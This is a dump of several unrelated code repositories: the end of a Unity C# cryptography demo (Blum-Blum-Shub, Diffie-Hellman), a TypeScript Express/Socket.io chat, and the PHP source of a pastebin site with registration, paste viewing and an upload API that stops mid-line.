0; i * 4 < random.Length; i++) { int value = random[i] * 8 + random[i + 1] * 4 + random[i + 2] * 2 + random[i + 3]; if (!cDict.ContainsKey(value)) { cDict[value] = 0; } cDict[value]++; } var x = 16.0 / 5000.0 * cDict.Values.Select(v => 1.0 * v * v).Sum() - 5000; return x > 2.16 && x < 46.17; } private int GetCorrectX(int p, int q, int n) { int start; do { start = UnityEngine.Random.Range(1, n); } while (start % p == 0 || start % q == 0); return start; } private int GetCorrectPrime() { int start = UnityEngine.Random.Range(1000, 5000); do { start = MathG.NextPrime(start + 1); } while (start % 4 != 3); return start; } } <file_sep>/Assets/Scripts/Utility/UIExtensions.cs using UniRx; public static class UIExtensions { public static void AddMenuButton(this FieldContainer fieldContainer) { fieldContainer.AddButton("Menu").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.Menu; }) .AddTo(fieldContainer); } } <file_sep>/Assets/Scripts/View Switching/ViewConfig.cs public static class ViewConfig { public static class Views { public static string Menu = "Menu"; public static string Init = "Init"; public static string SecretTrivial = "SecretTrivial"; public static string SecretShamir = "SecretShamir"; public static string BBS = "BBS"; public static string CipherModeComparison = "CipherModeComparison"; public static string DiffieHellman = "DiffieHellman"; public static string RSA = "RSA"; } } <file_sep>/Assets/Scripts/View Switching/ViewManager.cs using UnityEngine; using UnityEngine.SceneManagement; public class ViewManager : MonoBehaviour { public static ViewManager main; private string _currentView = null; public string CurrentView { get => _currentView; set { if (_currentView != null) { SceneManager.UnloadSceneAsync(_currentView); } SceneManager.LoadScene(value, LoadSceneMode.Additive); _currentView = value; } } private void Awake() { main = this; } private void Start() { CurrentView = ViewConfig.Views.Menu; } } <file_sep>/Assets/Scripts/View Models/DiffieHellmanViewModel.cs using System; using UniRx; using UnityEngine; public class DiffieHellmanViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, outputFieldContainer; private void Start() { inputFieldContainer.AddMenuButton(); int n = UnityEngine.Random.Range(1000, 9999); int g = MathG.NextPrime(UnityEngine.Random.Range(1, n)); var nField = inputFieldContainer.AddInputField("n", n.ToString()); var gField = inputFieldContainer.AddInputField("g", g.ToString()); var privateXField = inputFieldContainer.AddInputField("A: private x", "1337"); var privateYField = inputFieldContainer.AddInputField("B: private y", "997"); Observable.Merge( nField.InputProperty.AsUnitObservable(), gField.InputProperty.AsUnitObservable(), privateXField.InputProperty.AsUnitObservable(), privateYField.InputProperty.AsUnitObservable(), inputFieldContainer.AddButton("Calculate key").OnClickAsObservable()). Subscribe(_ => { outputFieldContainer.Clear(); try { n = int.Parse(nField.Value); g = int.Parse(gField.Value); int privateX = int.Parse(privateXField.Value); int privateY = int.Parse(privateYField.Value); int publicX = MathG.ModPow(g, privateX, n); int publicY = MathG.ModPow(g, privateY, n); outputFieldContainer.AddOutputField("A: public y").Value = publicY.ToString(); outputFieldContainer.AddOutputField("B: public x").Value = publicX.ToString(); var kA = MathG.ModPow(publicY, privateX, n); var kB = MathG.ModPow(publicX, privateY, n); outputFieldContainer.AddOutputField("A: k").Value = kA.ToString(); outputFieldContainer.AddOutputField("B: k").Value = kB.ToString(); } catch (Exception e) { Debug.Log(e); } }).AddTo(this); } } <file_sep>/Assets/Scripts/UI/FieldContainer.cs using TMPro; using UnityEngine; using UnityEngine.UI; public class FieldContainer : MonoBehaviour { [SerializeField] private GameObject inputFieldPrefab, outputFieldPrefab, longOutputFieldPrefab, buttonPrefab; public InputFieldController AddInputField(string label, string defaultValue = "") { var inputField = Instantiate(inputFieldPrefab, transform).GetComponent<InputFieldController>(); inputField.Label = label; inputField.Value = defaultValue; return inputField; } public OutputFieldController AddOutputField(string label) { var outputField = Instantiate(outputFieldPrefab, transform).GetComponent<OutputFieldController>(); outputField.Label = label; return outputField; } public OutputFieldController AddLongOutputField(string label) { var outputField = Instantiate(longOutputFieldPrefab, transform).GetComponent<OutputFieldController>(); outputField.Label = label; return outputField; } public Button AddButton(string label) { var button = Instantiate(buttonPrefab, transform).GetComponent<Button>(); button.GetComponentInChildren<TextMeshProUGUI>().text = label; return button; } public void Clear() { foreach (Transform child in transform) { Destroy(child.gameObject); } } }
1720310154b649fe99c8b63b3080aaf692925e40
[ "C#" ]
15
C#
Jacykow/WZK
90b6407626cabe9e76295209b25e63bd1ede6b0c
6648759222daaf1e5bb5f452114d4c901da72a13
refs/heads/master
<file_sep>## Express with TypeScript A basic Express Server and Socket.io built with TypeScript. # Requeriments Clone this repository. Run `npm install -g tsc` and `npm install -g nodemon`. # Local Server Run `npm start`. <file_sep>const socket = (window as any).io(); interface ChatMessage { message : string; } class Chat { static io : any; constructor(private cb : Function) { Chat .io .on('messageFromServer', this.cb); } emitMessage(message : string) { Chat .io .emit('message', message); } } Chat.io = socket; function messageReceived(response : ChatMessage) { let parent = document.querySelector("#messages"); let child = document.createElement("li"); child.innerHTML = response.message; parent.appendChild(child); } let chat : Chat = new Chat(messageReceived); document .querySelector("#form") .addEventListener('submit', (ev) => { ev.preventDefault(); const message : string = (document.querySelector("#message")as HTMLInputElement).value; chat.emitMessage(message); return false; });
ec0e538eced85b2aef34479e775141883523ff40
[ "Markdown", "TypeScript" ]
2
Markdown
Bodeclas/express-typescript
3f51ceb30fe95920f1c2a9aa8c44c472e2c59990
d69f51e074e79140706387b08b9a6d4d2cd18e03
refs/heads/master
<file_sep><?php namespace Doomy\Migrator; use Dibi\DriverException; use Doomy\CustomDibi\Connection; use Doomy\Ormtopus\DataEntityManager; class Migrator { const DB_CODE_TABLE_DOES_NOT_EXIST = 1146; /** * @var Connection */ private $connection; /** * @var DataEntityManager */ private $data; private $log; /** * @var array */ private $config; public function __construct(Connection $connection, DataEntityManager $data, array $config) { $this->connection = $connection; $this->data = $data; $this->config = $config; } public function migrate() { try { $allMigrations = $this->data->findAll(Migration::class); } catch (DriverException $e) { if($e->getCode() == self::DB_CODE_TABLE_DOES_NOT_EXIST) { $this->createMigrationsTable(); return $this->migrate(); } $this->log .= sprintf("Unknown error: %s", $e->getMessage()); return; } try { $migrationFiles = scandir($this->config['migrations_directory']); } catch (\ErrorException $e) { $this->log .= sprintf("Unknown error: %s", $e->getMessage()); return; } $newMigrationsApplied = FALSE; foreach ($migrationFiles as $migrationFile) { $migrationId = $this->getMigrationIdFromFilename($migrationFile); if (!$migrationId) continue; if (!$this->migrationIsApplied($migrationId, $allMigrations)) { $this->log .= "applying migration $migrationId \n"; $sql = file_get_contents($this->config['migrations_directory'] . "/".$migrationFile); $this->log .= "sql executed: $sql \n"; $this->query($sql); try { $this->data->save(Migration::class, ['MIGRATION_ID' => $migrationId, 'MIGRATED_DATE' => new \DateTime()]); } catch (Exception $e) {} $this->log .= "OK. \n \n"; $newMigrationsApplied = true; } } if (!$newMigrationsApplied) { $this->log .= "No new migrations \n"; } } public function getOutput(): string { return $this->log; } private function getMigrationIdFromFilename($migrationFilename) { $parts = explode(".", $migrationFilename); $extension = array_pop($parts); if (!$extension || $extension != "sql") { return NULL; } return array_shift($parts); } private function query($sql) { $sql = str_replace("\r\n", "", $sql); $parts = explode(";", $sql); foreach($parts as $part) { if(!$part || ctype_space($part)) continue; $this->connection->query($part); } } private function migrationIsApplied($migrationId, $allMigrations) { foreach($allMigrations as $migration) { if ($migration->MIGRATION_ID == $migrationId) return TRUE; } return FALSE; } private function createMigrationsTable(): void { $this->log .= "Migration table does not exist. Creating... \n \n"; $sqlCreate = "CREATE TABLE IF NOT EXISTS t_migration ( migration_id VARCHAR(255) NOT NULL, migrated_date DATETIME, PRIMARY KEY(migration_id) )"; $this->log .= "sql executed: $sqlCreate \n"; $this->query($sqlCreate); } } <file_sep><?php namespace Doomy\Migrator\Command; use Doomy\Migrator\Migrator; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; class MigratorMigrateCommand extends Command { private Migrator $migrator; public function __construct(Migrator $migrator) { $this->migrator = $migrator; parent::__construct(); } protected function configure(): void { // choose command name $this->setName('migrator:migrate') // description (optional) ->setDescription('Runs migrations'); } /** * Don't forget to return 0 for success or non-zero for error */ protected function execute(InputInterface $input, OutputInterface $output): int { $output->writeln(\sprintf('Migrating')); $this->migrator->migrate(); $output->writeln($this->migrator->getOutput()); return 1; } }<file_sep>{ "name": "doomy/migrator", "autoload": { "classmap": ["src/"] }, "require": { "php": ">= 7.1", "dibi/dibi": "*", "doomy/repository": ">=1.2.5", "doomy/ormtopus": ">= 0.9", "symfony/console": "^6.0" }, "minimum-stability": "stable" } <file_sep><?php namespace Doomy\Migrator; use Doomy\Repository\Model\Entity; class Migration extends Entity { const TABLE = "t_migration"; const IDENTITY_COLUMN = "migration_id"; public $MIGRATION_ID; public $MIGRATION_DATE; }
38e5198fdb40f7aa24f4482256f3000420706273
[ "JSON", "PHP" ]
4
PHP
doomy/migrator
6e3c02fae3ce488c94933517733f87588f892852
dc004bae4e2f8a7c8d507da74c792c02e7d59f6e
refs/heads/master
<repo_name>abeltran85/App-Nubiq<file_sep>/app/src/main/java/es/fairshall/appnubiq/Model/User.kt package es.fairshall.appnubiq.Model class User { var id_client:Int=0 var nombre:String="" var password:String="" constructor(){} constructor(id_Client: Int, nombre:String, password: String){ this.id_client = id_Client this.nombre = nombre this.password = <PASSWORD> } }<file_sep>/app/src/main/java/es/fairshall/appnubiq/MainActivity.kt package es.fairshall.appnubiq import android.support.v7.app.AppCompatActivity import android.os.Bundle import android.widget.Toast import es.fairshall.appnubiq.Common.Common import es.fairshall.appnubiq.Model.APIResponse import es.fairshall.appnubiq.Remote.IMyApi import kotlinx.android.synthetic.main.activity_main.* import retrofit2.Call import retrofit2.Callback import retrofit2.Response class MainActivity : AppCompatActivity() { // internal lateinit var mService:IMyApi override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) //Inicia Servicio /* mService = Common.api btnSubmit.setOnClickListener{ authenticateUser(inputuser.text.toString(),password.text.toString(),Integer.parseInt(idClient.text.toString())) }*/ } private fun authenticateUser(inputuser: String, password: String, idClient: Int) { /*mService.LoginUser(idClient, inputuser, password) .enqueue(object : Callback<APIResponse> { override fun onFailure(call: Call<APIResponse>, t: Throwable) { Toast.makeText(this@MainActivity, t.message, Toast.LENGTH_SHORT).show() } override fun onResponse(call: Call<APIResponse>, response: Response<APIResponse>) { if (response.body()!!.error) Toast.makeText(this@MainActivity, response.body()!!.error_msg, Toast.LENGTH_SHORT).show() else Toast.makeText(this@MainActivity, "Login Success!!", Toast.LENGTH_SHORT).show() finish() } })*/ } } <file_sep>/app/src/main/java/es/fairshall/appnubiq/Remote/IMyApi.kt package es.fairshall.appnubiq.Remote import retrofit2.Call import es.fairshall.appnubiq.Model.APIResponse import retrofit2.http.Field import retrofit2.http.FormUrlEncoded import retrofit2.http.POST interface IMyApi { @FormUrlEncoded @POST("register.php") fun registerUser(@Field("id_client")id_client:Int, @Field("nombre") nombre:String, @Field("password") password:String):Call<APIResponse> @FormUrlEncoded @POST("login.php") fun LoginUser(@Field("id_client")id_client:Int, @Field("nombre") nombre:String, @Field("password") password:String):Call<APIResponse> }<file_sep>/app/src/main/java/es/fairshall/appnubiq/Db/DatabaseHandlerUser.kt package es.fairshall.appnubiq.Db import android.content.ContentValues import android.content.Context import android.database.sqlite.SQLiteDatabase import android.database.sqlite.SQLiteOpenHelper import android.util.Log import es.fairshall.appnubiq.Model.User import java.util.* class DatabaseHandlerUser (context: Context) : SQLiteOpenHelper(context, DatabaseHandlerUser.DB_NAME, null, DatabaseHandlerUser.DB_VERSION){ override fun onCreate(db: SQLiteDatabase) { val CREATE_TABLE = "CREATE TABLE $TABLE_NAME ($ID_CLIENT INTEGER PRIMARY KEY, $NOMBRE TEXT,$PASSWORD TEXT);" db.execSQL(CREATE_TABLE) } override fun onUpgrade(db: SQLiteDatabase, oldVersion: Int, newVersion: Int) { val DROP_TABLE = "DROP TABLE IF EXISTS $TABLE_NAME" db.execSQL(DROP_TABLE) onCreate(db) } fun addUser(user: User): Boolean { val db = this.writableDatabase val values = ContentValues() values.put(NOMBRE, user.nombre) values.put(PASSWORD, <PASSWORD>) val _success = db.insert(TABLE_NAME, null, values) db.close() Log.v("InsertedId", "$_success") return (Integer.parseInt("$_success") != -1) } fun getUser(_id: Int): User { val user = User() val db = writableDatabase val selectQuery = "SELECT * FROM $TABLE_NAME WHERE $ID_CLIENT = $_id" val cursor = db.rawQuery(selectQuery, null) cursor?.moveToFirst() user.id_client = Integer.parseInt(cursor.getString(cursor.getColumnIndex(ID_CLIENT))) user.nombre = cursor.getString(cursor.getColumnIndex(NOMBRE)) user.password = cursor.getString(cursor.getColumnIndex(PASSWORD)) cursor.close() return user } companion object { private val DB_VERSION = 1 private val DB_NAME = "nubiqdb.db" private val TABLE_NAME = "User" private val ID_CLIENT = "Id" private val NOMBRE = "Name" private val PASSWORD = "<PASSWORD>" } }<file_sep>/app/src/main/java/es/fairshall/appnubiq/Common/Common.kt package es.fairshall.appnubiq.Common import es.fairshall.appnubiq.Remote.IMyApi import es.fairshall.appnubiq.Remote.RetrofitClient object Common{ val BASE_URL="http://loquesea/api" val api: IMyApi get() = RetrofitClient.getClient(BASE_URL).create(IMyApi::class.java) }
5645829e1c00a0caeb75f9d8e3b87843bf612249
[ "Kotlin" ]
5
Kotlin
abeltran85/App-Nubiq
0bd37c5a983250ab42b2f5962699fe6ee50f12f9
bd210a6220c9fa623015407fbf14e47f4dc8121d
refs/heads/master
<file_sep># paste.ratma.net the code behind paste.ratma.net <file_sep><?php declare(strict_types = 1); require_once (__DIR__ . '/../api_common.inc.php'); http_response_code ( 500 ); $id = ( string ) $_POST ['id'] ?? NULL; if (false === $id) { http_response_code ( 400 ); die ( 'invalid id!' ); } class Res { public $filename; public $content_type; public $is_hidden; public $password_hash; public $expire_date; public $raw_file_id; public $raw_file_hash; } $stm = $db->prepare ( 'SELECT filename,content_type,is_hidden,password_hash,expire_date,raw_files.id AS raw_file_id,raw_files.hash AS raw_file_hash FROM uploads INNER JOIN raw_files ON uploads.raw_file_id = raw_files.id WHERE uploads.id= ? LIMIT 1' ); $stm->bindValue ( 1, $id, PDO::PARAM_INT ); $stm->execute (); $row = $stm->fetchAll ( PDO::FETCH_CLASS, 'res' ); unset ( $stm ); if (empty ( $row )) { http_response_code ( 404 ); die ( 'not found' ); } $row = $row [0]; /** @var Res $row */ if (strtotime ( $row->expire_date ) <= time ()) { // HTTP 410 Gone, expired. http_response_code ( 410 ); die ( 'this upload has expired.' ); } if ($row->is_hidden) { $hash = $_POST ['hash'] ?? NULL; if (empty ( $hash )) { http_response_code ( 403 ); die ( 'this upload is hidden, you need the hidden hash to view hidden uploads, and you did not provide one.' ); } $hash = base64url_decode ( $hash ); if (! hash_equals ( $row->raw_file_hash, $hash )) { http_response_code ( 403 ); die ( 'the provided hidden hash is invalid!' ); } unset ( $hash ); } if (! empty ( $row->password_hash )) { $password = ( string ) $_POST ['password'] ?? NULL; if (empty ( $password )) { http_response_code ( 403 ); die ( 'this upload is password protected, and you did not provide a password.' ); } if (! p_verify ( $password, $row->password_hash )) { http_response_code ( 403 ); die ( 'wrong password provided!' ); } } header ( "content-type: " . $row->content_type ); // /internal_nginx_serve_upload header ( "X-Accel-Redirect: /internal_nginx_serve_upload/" . $row->raw_file_id ); die ();//we're done here, nginx takes care of the rest.<file_sep><?php declare(strict_types = 1); function tohtml(string $str): string { return htmlentities ( $str, ENT_QUOTES | ENT_HTML401 | ENT_SUBSTITUTE | ENT_DISALLOWED, 'UTF-8', true ); } function return_var_dump(): string // works like var_dump, but returns a string instead of printing it. { $args = func_get_args (); // for <5.3.0 support ... ob_start (); call_user_func_array ( 'var_dump', $args ); return ob_get_clean (); }<file_sep><?php declare(strict_types = 1); require_once (__DIR__ . '/../../includes.inc.php'); function p_hash(string $plain): string { $plain = hash ( 'sha256', $plain, true ); $plain = base64_encode ( $plain ); // when i get better funding, // and my servers doesn't have to run on ATOM cpus.. $plain = password_hash ( $plain, PASSWORD_BCRYPT, [ 'cost' => 5 ] ); return $plain; } function p_verify(string $plain, string $hash): bool { $plain = hash ( 'sha256', $plain, true ); $plain = base64_encode ( $plain ); return password_verify ( $plain, $hash ); } function base64url_encode($data) { return rtrim ( strtr ( base64_encode ( $data ), '+/', '-_' ), '=' ); } function base64url_decode($data) { return base64_decode ( str_pad ( strtr ( $data, '-_', '+/' ), strlen ( $data ) % 4, '=', STR_PAD_RIGHT ) ); } <file_sep><?php declare(strict_types = 1); require_once (__DIR__ . '/../config.inc.php'); // if (empty ( $_SESSION ['csrf_token'] )) { // $_SESSION ['csrf_token'] = base64_encode ( random_bytes ( 14 ) ); // } if (! empty ( $_POST )) { // if (! hash_equals ( $_SESSION ['csrf_token'], $_POST ['csrf_token'] ?? '')) { // http_response_code ( 400 ); // die ( 'Error: CSRF token mismatch!' ); // } if (empty ( $_POST ['g-recaptcha-response'] )) { http_response_code ( 400 ); die ( 'you did not solve the captcha!' ); } $required = array ( 'g-recaptcha-response', 'username', 'password' ); foreach ( $required as $tmp ) { if (empty ( $_POST [$tmp] )) { http_response_code ( 400 ); header ( "content-type: text/plain;charset=utf8" ); die ( 'missing required POST parameter: ' . $tmp ); } $_POST [$tmp] = ( string ) $_POST [$tmp]; } function validate_new_username(string $username, string &$error = NULL): bool { if ($username !== ltrim ( $username )) { $error = "starts with space(s)!"; return false; } if ($username !== rtrim ( $username )) { $error = "ends with space(s)!"; return false; } if (! mb_check_encoding ( $username, 'UTF-8' )) { $error = 'not valid UTF8!'; return false; } if (preg_match ( '/[\ ]{2,}/u', $username )) { $error = 'contains repeating spaces!'; return false; } if (! preg_match ( '/^[[:alnum:]\ \-\_]+$/u', $username )) { $error = 'contains invalid characters!'; return false; } $mblen = mb_strlen ( $username, 'UTF-8' ); if ($mblen < 3) { $error = 'username too short, must be at least 3 characters.'; return false; } if ($mblen > 20) { $error = 'username long. can be no longer than 20 characters.'; return false; } $error = ''; return true; } $username = ( string ) $_POST ['username']; $error = NULL; if (! validate_new_username ( $username, $error )) { http_response_code ( 400 ); header ( "content-type: text/plain;charset=utf8" ); die ( 'invalid username. error: ' . $error ); } if (! mb_check_encoding ( $_POST ['username'], 'UTF-8' )) { http_response_code ( 400 ); header ( "content-type: text/plain;charset=utf8" ); die ( 'username MUST be valid utf-8!' ); } class RecaptchaResponse { public $success = false; public $challenge_ts = "yyyy-MM-dd'T'HH:mm:ssZZ"; public $hostname = 'ratma.net'; public $error_codes = array (); } require_once ('hhb_.inc.php'); require_once (__DIR__ . DIRECTORY_SEPARATOR . 'api1' . DIRECTORY_SEPARATOR . 'api_common.inc.php'); $resp = json_decode ( (new hhb_curl ( 'https://www.google.com/recaptcha/api/siteverify', true ))->setopt_array ( array ( CURLOPT_POST => true, CURLOPT_POSTFIELDS => array ( 'secret' => RecaptchaConfig::SECRET_KEY, 'response' => $_POST ['g-recaptcha-response'], 'remoteip' => $_SERVER ['REMOTE_ADDR'] ) ) )->exec ()->getResponseBody (), false ); /** @var RecaptchaResponse $resp */ if (! $resp->success) { http_response_code ( 400 ); die ( 'the captcha was not solved!' ); } // all validations are now complete (except duplicate username) $data = array ( ':api_token' => base64url_encode ( random_bytes ( 14 ) ), ':username' => $_POST ['username'], ':password_hash' => p_hash ( $_POST ['password'] ) ); $stm = $db->prepare ( 'INSERT INTO `users` (username,password_hash,password_hash_version,api_token,register_date) VALUES (:username,:password_hash,1,:api_token,NOW())' ); try { $stm->execute ( $data ); } catch ( Throwable $ex ) { http_response_code ( 400 ); header ( "content-type: text/plain;charset=utf8" ); echo "some SQL error while creating your account. details:"; echo $ex->getMessage (); die (); } // http_response_code ( 303 ); // header ( "Location: " . $_SERVER ['REQUEST_URI'] ); http_response_code ( 200 ); header ( "content-type: text/plain;charset=utf8" ); echo "account successfully created... \n username: " . $username . " \n api token: " . $data [':api_token']; die (); } ?> <!DOCTYPE HTML> <html> <head> <title>register</title> <script src='https://www.google.com/recaptcha/api.js'></script> </head> <body> <form method="POST"> username: <input name="username" type="text" maxlength="40" /><br /> password: <input name="<PASSWORD>" type="<PASSWORD>" /><br /> <input type="submit" /> <div class="g-recaptcha" data-sitekey="<?=RecaptchaConfig::SITE_KEY;?>"></div> </form> <div id="rules"> rules for username: minimum 3, and a maximum of 20, combination of alphanumeric UTF-8 characers and "-" and "_" and spaces. username can not start with, nor end with spaces, and cannot contain repeating spaces. <br /> rules for password: minimum 1 character. (but dont blame me for getting hacked if you use a weak password.. or for any reason, really) </div> </body> </html> <file_sep><?php declare(strict_types = 1); ?><!DOCTYPE HTML><html><head><title>newpaste</title></head> <body> ...FIXME </body> </html><file_sep><?php declare(strict_types = 1); class Raw_files { /** @var integer $id */ public $id; /** @var string $hash */ public $hash; /** @var integer $size */ public $size; public $first_seen; public $last_accessed; } class Uploads { /** @var integer $id */ public $id; /** @var integer $user_id */ public $user_id; /** @var integer $raw_file_id */ public $raw_file_id; /** @var string $filename */ public $filename; /** @var string $content_type */ public $content_type; /** @var boolean $is_hidden */ public $is_hidden; /** @var string|null $password_hash */ public $password_hash; /** @var integer $password_hash_version */ public $password_hash_version; public $upload_date; public $expire_date; public function insertSelf() { global $db; if (empty ( $this->id )) { unset ( $this->id ); } if (empty ( $this->user_id )) { throw new LogicException ( 'user_id must not be empty at this point!' ); } if (empty ( $this->raw_file_id )) { throw new LogicException ( 'raw_file_id must not be empty at this point!' ); } if (empty ( $this->filename )) { $this->filename = "untitled.txt"; } if (empty ( $this->content_type )) { unset ( $this->content_type ); } if (empty ( $this->password_hash )) { unset ( $this->password_hash ); } if (empty ( $this->password_hash_version )) { unset ( $this->password_hash_version ); } if (empty ( $this->upload_date )) { unset ( $this->upload_date ); } if (empty ( $this->expire_date )) { unset ( $this->expire_date ); } $this->is_hidden = filter_var ( $this->is_hidden, FILTER_VALIDATE_BOOLEAN ); $arr = ( array ) $this; $keys = array_keys ( $arr ); $sql = 'INSERT INTO uploads ('; foreach ( $keys as $key ) { $sql .= '`' . $key . '`,'; } $sql = substr ( $sql, 0, - 1 ); $sql .= ') VALUES('; foreach ( $keys as $key ) { $sql .= ':' . $key . ','; } $sql = substr ( $sql, 0, - 1 ); $sql .= ');'; $db->prepare ( $sql )->execute ( $arr ); $this->id = $db->lastInsertId (); } } class Users { /** @var integer $id */ public $id; /** @var string $username */ public $username; /** @var string|null $password_hash */ public $password_hash; /** @var integer $password_hash_version */ public $password_hash_version; /** @var string|null $api_token */ public $api_token; public $register_date; } <file_sep><?php declare(strict_types = 1); require_once (__DIR__ . '/config.inc.php'); require_once (__DIR__ . '/commonfuncs.inc.php'); require_once (__DIR__ . '/dbclasses.inc.php');<file_sep><?php declare(strict_types = 1); // require_once ('hhb_.inc.php'); require_once (__DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'api1' . DIRECTORY_SEPARATOR . 'api_common.inc.php'); header ( "content-type: text/plain;charset=utf8" ); // hhb_var_dump ( $_GET, $_POST, file_get_contents ( 'php://input' ), $_SERVER ); $info = parse_url ( $_SERVER ['REQUEST_URI'] ); if (substr ( $info ['path'], 0, strlen ( '/p/' ) ) !== '/p/') { http_response_code ( 400 ); die ( 'invalid paste id!' ); } $info ['path'] = substr ( $info ['path'], strlen ( '/p/' ) ); if (false !== strpos ( ($info ['query'] ?? ''), '/' )) { $info ['filename'] = substr ( $info ['query'], strpos ( $info ['query'], '/' ) + 1 ); $info ['query'] = parse_url ( '?' . substr ( $info ['query'], 0, strpos ( $info ['query'], '/' ) ), PHP_URL_QUERY ); } parse_str ( ($info ['query'] ?? ''), $info ['query'] ); // hhb_var_dump ( $info ) & die (); $id = filter_var ( $info ['path'], FILTER_VALIDATE_INT, [ 'options' => [ 'min_range' => 1 ] ] ); if (false === $id) { http_response_code ( 400 ); die ( 'non-numeric paste id!' ); } class Res { public $filename; public $content_type; public $is_hidden; public $password_hash; public $expire_date; public $raw_file_id; public $raw_file_hash; public $upload_date; public $raw_file_size; } $stm = $db->prepare ( 'SELECT upload_date,filename,content_type,is_hidden,password_hash,expire_date,raw_files.id AS raw_file_id,raw_files.size AS raw_file_size,raw_files.hash AS raw_file_hash FROM uploads INNER JOIN raw_files ON uploads.raw_file_id = raw_files.id WHERE uploads.id= ? LIMIT 1' ); $stm->bindValue ( 1, $id, PDO::PARAM_INT ); $stm->execute (); $row = $stm->fetchAll ( PDO::FETCH_CLASS, 'res' ); unset ( $stm ); if (empty ( $row )) { // not found http_response_code ( 404 ); die ( 'paste not found (probably deleted or expired)' ); } $row = $row [0]; /** @var Res $row */ if (strtotime ( $row->expire_date ) <= time ()) { // HTTP 410 Gone, expired. http_response_code ( 410 ); die ( 'this upload has expired.' ); } if ($row->is_hidden) { $hash = $info ['query'] ['hash'] ?? NULL; if (empty ( $hash )) { http_response_code ( 403 ); die ( 'this upload is hidden, you need the hidden hash to view hidden uploads, and you did not provide one.' ); } $hash = base64url_decode ( $hash ); if (! hash_equals ( $row->raw_file_hash, $hash )) { http_response_code ( 403 ); die ( 'the provided hidden hash is invalid!' ); } unset ( $hash ); } if (! empty ( $row->password_hash )) { $password = ( string ) ($_POST ['password'] ?? NULL); if (empty ( $password )) { http_response_code ( 403 ); // FIXME: better ask for password page die ( 'this upload is password protected, and you did not provide a password.' ); } if (! p_verify ( $password, $row->password_hash )) { http_response_code ( 403 ); die ( 'wrong password provided!' ); } } // ///header ( "X-Accel-Redirect: /internal_nginx_serve_upload/" . $row->raw_file_id ); // ///die ();//we're done here, nginx takes care of the rest. http_response_code ( 200 ); header ( "content-type: text/html;charset=utf8" ); ?> <!DOCTYPE HTML> <html> <head> <title>paste - <?php if (! empty ( $row->filename )) { echo tohtml ( $row->filename ) . ' - '; } echo tohtml ( ( string ) $id ); ?></title> <style> @import url('https://fonts.googleapis.com/css?family=Roboto:300'); body { font-family: Roboto; } </style> <script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js"></script> </head> <body> <span> <?php function human_filesize(int $size, int $precision = 2): string { $units = array ( 'B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB' ); $step = 1024; $i = 0; while ( ($size / $step) > 0.9 ) { $size = $size / $step; ++ $i; } return round ( $size, $precision ) . $units [$i]; } echo 'name: ' . tohtml ( ( string ) $row->filename ) . "<br/>\n"; echo 'type: ' . tohtml ( ( string ) $row->content_type ) . "<br/>\n"; echo 'upload date: ' . tohtml ( ( string ) $row->upload_date ) . "<br/>\n"; echo 'expire date: ' . tohtml ( ( string ) $row->expire_date ) . " (that means " . abs ( number_format ( ((time () - strtotime ( $row->expire_date )) / 60 / 60 / 24), 0 ) ) . " days remains )<br/>\n"; echo 'size: <span id="human_filesize">' . tohtml ( human_filesize ( $row->raw_file_size ) ) . "</span><br/>\n"; echo 'bytes: <span id="bytes">' . tohtml ( ( string ) ($row->raw_file_size) ) . "</span><br/>\n"; ?> </span> <pre style="background-color: aliceblue;" class="prettyprint" id="paste_raw"> <?php echo tohtml ( file_get_contents ( UPLOAD_DIR . $row->raw_file_id ) ); ?> </pre> </body> </html><file_sep><?php declare(strict_types = 1); require_once (__DIR__ . '/../api_common.inc.php'); $resp = new Response (); header ( "content-type: application/json" ); register_shutdown_function ( function () use (&$resp) { $resp = ( array ) $resp; foreach ( $resp as $key => $val ) { if (empty ( $val )) { unset ( $resp [$key] ); } } if (empty ( $resp ['status_code'] )) { $resp ['status_code'] = 0; } echo json_encode ( $resp, JSON_NUMERIC_CHECK | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ); } ); $api_token = ( string ) ($_POST ['api_token'] ?? ''); if (empty ( $api_token )) { $user_id = 1; // 1 is anonymous, and requires no token. } else { $user_id = NULL; if (! validate_api_token ( $api_token, $user_id )) { // TODO: check, is mysql here vulnerable to a timing attack? err ( 'invalid api token!' ); } } $c = 0; if (! empty ( $_FILES )) { $c += count ( $_FILES ); } if (isset ( $_POST ['upload_raw'] )) { ++ $c; } if ($c > 1) { err ( 'provided more than 1 paste data source!' ); } if ($c < 1) { err ( 'no paste data provided!' ); } $db->beginTransaction (); if (! empty ( $_FILES )) { // file upload mode err ( 'FILE UPLOADS ARE NOT YET IMPLEMENTED!', 1, 500 ); } else { // string upload mode $paste = ( string ) $_POST ['upload_raw']; $hash = h_string ( $paste ); $existed = false; $hashid = rawinsert ( $hash, strlen ( $paste ), $existed ); $up = new Uploads (); if (true || empty ( $_POST ['upload_content_type'] )) { // --dereference if tmpfile() generates symlinks, // --preserve-date for performance // -E for better error handling (if any) // --brief and --mime should be obvious. // file --brief --mime --dereference -E --preserve-date URI // TODO: $existed optimizations $tmp = tmpfile (); fwrite ( $tmp, $paste, 500 ); $tmpuri = stream_get_meta_data ( $tmp ) ['uri']; $tmpoutput = [ ]; $tmpret = - 1; $tmpcmd = '/usr/bin/file --brief --mime --dereference -E --preserve-date ' . escapeshellarg ( $tmpuri ) . ' 2>&1'; exec ( $tmpcmd, $tmpoutput, $tmpret ); fclose ( $tmp ); if ($tmpret !== 0) { throw new LogicException ( '/usr/bin/file returned nonzero! retval: ' . return_var_dump ( $tmpret ) . '. cmd:' . $tmpcmd ); } if (count ( $tmpoutput ) !== 1) { throw new LogicException ( '/usr/bin/file did not return 1 line! lines: ' . return_var_dump ( $tmpoutput ) . '. cmd:' . $tmpcmd ); } $up->content_type = $tmpoutput [0]; unset ( $tmp, $tmpuri, $tmpret, $tmpcmd, $tmpoutput ); } else { // disabled for security reasons, until i can think of a SAFE way to do this... $up->content_type = $_POST ['upload_content_type']; } if ($existed) { unset ( $_POST ['upload_raw'], $paste ); } $up->filename = $_POST ['upload_name'] ?? NULL; $up->id = NULL; $up->password_hash = (empty ( $_POST ['upload_password'] ) ? 